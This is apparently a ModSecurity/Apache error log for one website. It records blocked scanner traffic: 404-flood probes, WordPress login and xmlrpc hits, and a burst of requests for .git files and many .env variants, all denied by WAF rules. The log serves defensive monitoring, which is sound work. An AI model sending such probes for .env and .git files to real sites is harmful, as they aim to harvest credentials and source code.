[Fri Mar 20 01:15:48.024738 2026] [:error] [pid 11258:tid 11273] [client 135.181.180.59:38322] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abwvRJPHb95f6xzHJOcQWQAAAM0"]
[Fri Mar 20 01:15:50.556861 2026] [:error] [pid 46264:tid 46304] [client 135.181.180.59:38336] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abwvRop3TruHFmWOt5HXowAAABU"]
[Fri Mar 20 01:15:53.202907 2026] [:error] [pid 11258:tid 11280] [client 135.181.180.59:38338] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abwvSZPHb95f6xzHJOcQawAAANQ"]
[Fri Mar 20 01:15:55.700748 2026] [:error] [pid 11258:tid 11270] [client 135.181.180.59:28212] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abwvS5PHb95f6xzHJOcQcQAAAMo"]
[Fri Mar 20 02:58:09.689482 2026] [:error] [pid 11258:tid 11262] [client 43.159.149.216:34706] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abxHQZPHb95f6xzHJOdGzgAAAMI"]
[Fri Mar 20 04:27:31.065461 2026] [:error] [pid 58230:tid 58251] [client 203.2.64.59:48465] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abxcM_eBObYxbmHTzfqbHQAAANI"]
[Fri Mar 20 04:29:38.014032 2026] [:error] [pid 58230:tid 58238] [client 40.74.65.33:4818] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "abxcsveBObYxbmHTzfqcagAAAMU"]
[Fri Mar 20 04:29:38.501314 2026] [:error] [pid 58126:tid 58177] [client 40.74.65.33:4519] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "abxcsqKAmdXQSS0Y5KA_yAAAAEU"]
[Fri Mar 20 04:29:38.986327 2026] [:error] [pid 58230:tid 58235] [client 40.74.65.33:4229] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "abxcsveBObYxbmHTzfqcbwAAAMI"]
[Fri Mar 20 04:29:39.471948 2026] [:error] [pid 58127:tid 58215] [client 40.74.65.33:4238] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "abxcs7Q_HbYy8C6I_EHUSQAAAJA"]
[Fri Mar 20 04:58:29.033419 2026] [:error] [pid 58126:tid 58176] [client 202.47.63.29:43635] [client 202.47.63.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.63.29, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abxjdaKAmdXQSS0Y5KBOAgAAAEQ"]
[Fri Mar 20 07:01:11.924492 2026] [:error] [pid 55452:tid 55489] [client 20.104.104.81:1545] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abyAN4lFvOIliSP0R2BL2QAAA4Y"]
[Fri Mar 20 07:01:13.347093 2026] [:error] [pid 55301:tid 55381] [client 20.104.104.81:61916] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abyAOcKP1x4sgmjd3xRltwAAAo0"]
[Fri Mar 20 07:01:14.743184 2026] [:error] [pid 55301:tid 55395] [client 20.104.104.81:1582] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abyAOsKP1x4sgmjd3xRlvwAAApM"]
[Fri Mar 20 07:01:15.839519 2026] [:error] [pid 55301:tid 55366] [client 20.104.104.81:61931] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abyAO8KP1x4sgmjd3xRlxgAAAoQ"]
[Fri Mar 20 07:40:31.272143 2026] [:error] [pid 55299:tid 55320] [client 43.159.132.207:54918] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abyJb_oGhbNgkNIkZwmMqAAAAg8"]
[Fri Mar 20 11:41:03.199268 2026] [:error] [pid 51714:tid 51719] [client 43.135.148.92:41470] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abzBzzWI82pxvQ0gkstueAAAAIM"]
[Fri Mar 20 12:45:29.493474 2026] [:error] [pid 49080:tid 49093] [client 43.131.23.154:51358] [client 43.131.23.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abzQ6Yk5CHi4V0A3ttgx7AAAAEc"]
[Fri Mar 20 14:20:08.221886 2026] [:error] [pid 49081:tid 49125] [client 173.239.240.62:29975] [client 173.239.240.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.62, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abznGBo1LBAUhfhYPR29fQAAAQo"]
[Fri Mar 20 15:26:30.058359 2026] [autoindex:error] [pid 49080:tid 49109] [client 141.98.11.17:52605] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Mar 20 17:03:32.212222 2026] [:error] [pid 27302:tid 27324] [client 192.227.138.144:33122] [client 192.227.138.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab0NZLDKiUve17xv6yE_cQAAANQ"], referer: https://www.google.com
[Fri Mar 20 17:23:54.562463 2026] [:error] [pid 49080:tid 49099] [client 49.51.245.241:55912] [client 49.51.245.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ab0SKok5CHi4V0A3ttjBnQAAAE0"]
[Fri Mar 20 17:48:38.401886 2026] [autoindex:error] [pid 27302:tid 27327] [client 141.98.11.17:50118] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Mar 20 18:16:34.103423 2026] [:error] [pid 49082:tid 49160] [client 43.164.197.177:57732] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab0egqpllYJI1LUIdL-j5QAAAVI"]
[Fri Mar 20 18:41:13.919216 2026] [:error] [pid 49081:tid 49134] [client 39.52.102.95:51800] [client 39.52.102.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.52.102.95, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ab0kSRo1LBAUhfhYPR1mqwAAARM"]
[Fri Mar 20 20:13:29.088469 2026] [:error] [pid 49081:tid 49130] [client 216.24.212.27:24637] [client 216.24.212.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ab056Ro1LBAUhfhYPR2MxgAAAQ8"]
[Fri Mar 20 22:12:26.345672 2026] [:error] [pid 38305:tid 38317] [client 43.153.104.196:45202] [client 43.153.104.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ab1VynguiB3cZkKG6iJGUQAAAcU"]
[Sat Mar 21 05:58:29.863318 2026] [:error] [pid 1489:tid 1505] [client 43.130.3.122:39670] [client 43.130.3.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ab3DBVRvnvBO_DG9kxv8ZAAAAAI"]
[Sat Mar 21 07:42:23.115926 2026] [:error] [pid 49170:tid 49181] [client 49.51.196.42:48768] [client 49.51.196.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab3bX71KUC-QISS0eWpBkAAAAQk"]
[Sat Mar 21 08:37:12.266975 2026] [:error] [pid 1490:tid 1543] [client 162.158.110.63:13658] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/refs/heads/master"] [unique_id "ab3oOGSWhIPTatyxDeCdCQAAAEg"]
[Sat Mar 21 08:37:12.287855 2026] [:error] [pid 1490:tid 1553] [client 162.158.110.63:13651] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/index"] [unique_id "ab3oOGSWhIPTatyxDeCdCgAAAFI"]
[Sat Mar 21 08:37:12.303344 2026] [:error] [pid 1490:tid 1557] [client 172.68.194.139:12817] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "ab3oOGSWhIPTatyxDeCdCwAAAFU"]
[Sat Mar 21 08:37:12.313898 2026] [:error] [pid 1490:tid 1542] [client 172.68.194.139:12815] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/logs/HEAD"] [unique_id "ab3oOGSWhIPTatyxDeCdDAAAAEc"]
[Sat Mar 21 08:37:12.327974 2026] [:error] [pid 33795:tid 33818] [client 162.158.110.218:11575] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/refs/heads/main"] [unique_id "ab3oOIC7ga_7KOYAaSjGkgAAAlQ"]
[Sat Mar 21 08:37:12.370250 2026] [:error] [pid 1490:tid 1535] [client 162.158.111.17:14014] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "ab3oOGSWhIPTatyxDeCdDQAAAEI"]
[Sat Mar 21 08:37:13.259990 2026] [:error] [pid 1489:tid 1528] [client 162.158.110.62:10982] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ab3oOVRvnvBO_DG9kxsXWAAAABg"]
[Sat Mar 21 08:37:13.318391 2026] [:error] [pid 43101:tid 43107] [client 162.158.111.17:14016] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "ab3oOR8E1YN21AwJqbLPCwAAA8Q"]
[Sat Mar 21 08:37:13.324626 2026] [:error] [pid 1490:tid 1550] [client 162.158.110.62:10983] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "ab3oOWSWhIPTatyxDeCdDwAAAE8"]
[Sat Mar 21 08:37:13.329117 2026] [:error] [pid 42983:tid 42996] [client 172.68.194.138:9573] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "ab3oOb_a8iOfxTrbIyoHKAAAA0o"]
[Sat Mar 21 08:37:13.356649 2026] [:error] [pid 42983:tid 42991] [client 162.158.111.17:14020] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "ab3oOb_a8iOfxTrbIyoHKQAAA0U"]
[Sat Mar 21 08:37:13.406078 2026] [:error] [pid 42983:tid 43000] [client 162.158.110.63:13660] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "ab3oOb_a8iOfxTrbIyoHKgAAA04"]
[Sat Mar 21 08:37:14.277769 2026] [:error] [pid 42983:tid 42987] [client 162.158.110.63:13664] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "ab3oOr_a8iOfxTrbIyoHKwAAA0E"]
[Sat Mar 21 08:37:14.306853 2026] [:error] [pid 33678:tid 33698] [client 162.158.111.18:10212] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "ab3oOjuClB_om73sXhcm-QAAAhI"]
[Sat Mar 21 08:37:14.333085 2026] [:error] [pid 42983:tid 43006] [client 162.158.110.219:10389] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "ab3oOr_a8iOfxTrbIyoHLAAAA1Q"]
[Sat Mar 21 08:37:14.365737 2026] [:error] [pid 1491:tid 1574] [client 162.158.110.219:10397] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "ab3oOq3VfHftzE9w9t4MagAAAIs"]
[Sat Mar 21 08:37:14.386189 2026] [:error] [pid 1491:tid 1568] [client 172.68.194.139:12821] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "ab3oOq3VfHftzE9w9t4MawAAAIU"]
[Sat Mar 21 08:37:14.412046 2026] [:error] [pid 1601:tid 1626] [client 172.68.194.138:9579] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.tmp"] [unique_id "ab3oOqdDBYVcyITq-IFmFgAAANU"]
[Sat Mar 21 08:37:15.306222 2026] [:error] [pid 33584:tid 33586] [client 172.68.194.139:12829] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "ab3oO-ATEQBBo5z2Hkk5VwAAAcA"]
[Sat Mar 21 08:37:15.338034 2026] [:error] [pid 1601:tid 1618] [client 172.68.194.139:12834] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local"] [unique_id "ab3oO6dDBYVcyITq-IFmFwAAAM0"]
[Sat Mar 21 08:37:15.339737 2026] [:error] [pid 33584:tid 33607] [client 162.158.111.18:10217] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local"] [unique_id "ab3oO-ATEQBBo5z2Hkk5WAAAAdU"]
[Sat Mar 21 08:37:15.411476 2026] [:error] [pid 1489:tid 1513] [client 162.158.110.219:10405] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "ab3oO1RvnvBO_DG9kxsXWwAAAAk"]
[Sat Mar 21 08:37:15.430466 2026] [:error] [pid 1490:tid 1544] [client 172.68.194.138:9584] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "ab3oO2SWhIPTatyxDeCdEgAAAEk"]
[Sat Mar 21 08:37:15.433579 2026] [:error] [pid 33584:tid 33590] [client 162.158.110.218:11581] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "ab3oO-ATEQBBo5z2Hkk5WQAAAcQ"]
